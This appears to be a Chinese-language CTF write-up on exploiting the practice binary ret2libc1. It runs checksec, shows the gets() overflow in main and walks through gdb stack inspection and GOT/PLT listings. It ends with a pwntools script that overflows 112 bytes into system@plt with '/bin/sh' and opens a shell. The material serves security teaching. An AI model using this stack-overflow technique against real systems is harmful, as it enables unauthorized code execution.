ret2lib

发布时间 2023-09-28 12:20:45作者: qianyuzz

ret2libc

checksec

使用checksec查看文件的保护措施。

ROP$ checksec ret2libc1
[*] '/home/pwn/桌面/题目/ROP/ret2libc1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以看到只开启了部分随即地址化。

IDA静态查看

文件架构是i386-32-little,那么将文件放入32位IDA中查看源码。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(&s);
  return 0;
}

源码很简单,输出RET2LIBC >_<,然后get()输入;放入gdb中调试一下。

gdb动态查看

get()输入aaaa后查看栈帧:

07:001c│ eax  0xffffd4ec ◂— 'aaaa'
08:0020│ edx  0xffffd4f0 ◂— 0x0
09:0024│      0xffffd4f4 ◂— 0x534
0a:0028│      0xffffd4f8 ◂— 0x9e
0b:002c│      0xffffd4fc —▸ 0xf7fb3a80 (__dso_handle) ◂— 0xf7fb3a80
0c:0030│      0xffffd500 ◂— 0x0
0d:0034│      0xffffd504 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
0e:0038│      0xffffd508 —▸ 0xf7ffc7e0 (_rtld_global_ro) ◂— 0x0
0f:003c│      0xffffd50c —▸ 0xf7fb8c68 (__exit_funcs_lock) ◂— 0x0
10:0040│      0xffffd510 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
11:0044│      0xffffd514 —▸ 0xf7fe22f0 ◂— endbr32 
12:0048│      0xffffd518 ◂— 0x0
13:004c│      0xffffd51c —▸ 0x8048405 (_init+9) ◂— add    ebx, 0x1bfb
14:0050│      0xffffd520 —▸ 0xf7fb53fc (__exit_funcs) —▸ 0xf7fb6900 (initial) ◂— 0x0
15:0054│      0xffffd524 ◂— 0x40000
16:0058│      0xffffd528 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f14 (_DYNAMIC) ◂— 0x1
17:005c│      0xffffd52c —▸ 0x80486e2 (__libc_csu_init+82) ◂— add    edi, 1
18:0060│      0xffffd530 ◂— 0x1
19:0064│      0xffffd534 —▸ 0xffffd5f4 —▸ 0xffffd738 ◂— 0x6d6f682f ('/hom')
1a:0068│      0xffffd538 —▸ 0xffffd5fc —▸ 0xffffd75e ◂— 'LANG=zh_CN.UTF-8'
1b:006c│      0xffffd53c —▸ 0xf7e03519 (__cxa_atexit+41) ◂— add    esp, 0x1c
1c:0070│      0xffffd540 —▸ 0xf7fe22f0 ◂— endbr32 
1d:0074│      0xffffd544 ◂— 0x0
1e:0078│      0xffffd548 —▸ 0x804869b (__libc_csu_init+11) ◂— add    ebx, 0x1965
1f:007c│      0xffffd54c ◂— 0x0
20:0080│      0xffffd550 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
... ↓
22:0088│ ebp  0xffffd558 ◂— 0x0

栈底地址为:0xffffd558get()输入的内容地址在0xffffd4ec;使用python计算溢出距离:

>>> 0xffffd558 - 0xffffd4ec
108

那么可以得知距离为108字节,加上ebp的4个字节,总共就是112字节;system函数在secure函数中,故plt中有着system的地址。pltgot不懂可以百度学习一下。

pwndbg> got

GOT protection: Partial RELRO | GOT functions: 10
 
[0x804a00c] gets@GLIBC_2.0 -> 0x8048436 (gets@plt+6) ◂— push   0 /* 'h' */
[0x804a010] time@GLIBC_2.0 -> 0x8048446 (time@plt+6) ◂— push   8
[0x804a014] puts@GLIBC_2.0 -> 0xf7e3ccd0 (puts) ◂— endbr32 
[0x804a018] system@GLIBC_2.0 -> 0x8048466 (system@plt+6) ◂— push   0x18
[0x804a01c] __gmon_start__ -> 0x8048476 (__gmon_start__@plt+6) ◂— push   0x20 /* 'h ' */
[0x804a020] srand@GLIBC_2.0 -> 0x8048486 (srand@plt+6) ◂— push   0x28 /* 'h(' */
[0x804a024] __libc_start_main@GLIBC_2.0 -> 0xf7de9df0 (__libc_start_main) ◂— endbr32 
[0x804a028] setvbuf@GLIBC_2.0 -> 0xf7e3d4c0 (setvbuf) ◂— endbr32 
[0x804a02c] rand@GLIBC_2.0 -> 0x80484b6 (rand@plt+6) ◂— push   0x40 /* 'h@' */
[0x804a030] __isoc99_scanf@GLIBC_2.7 -> 0x80484c6 (__isoc99_scanf@plt+6) ◂— push   0x48 /* 'hH' */
pwndbg> plt
0x8048430: gets@plt
0x8048440: time@plt
0x8048450: puts@plt
0x8048460: system@plt
0x8048470: __gmon_start__@plt
0x8048480: srand@plt
0x8048490: __libc_start_main@plt
0x80484a0: setvbuf@plt
0x80484b0: rand@plt
0x80484c0: __isoc99_scanf@plt

最终payload:

from pwn import * 

io = process("./ret2libc1")
elf = ELF("./ret2libc1")

system_plt = elf.plt["system"]   #获取system函数的地址
bin_sh = next(elf.search(b"/bin/sh")) #获取/bin/sh字符串作为system的参数
payload = b"a" * 112 + p32(system_plt)  + b"b" * 4 + p32(bin_sh)  #构造payload

io.sendline(payload)
io.interactive()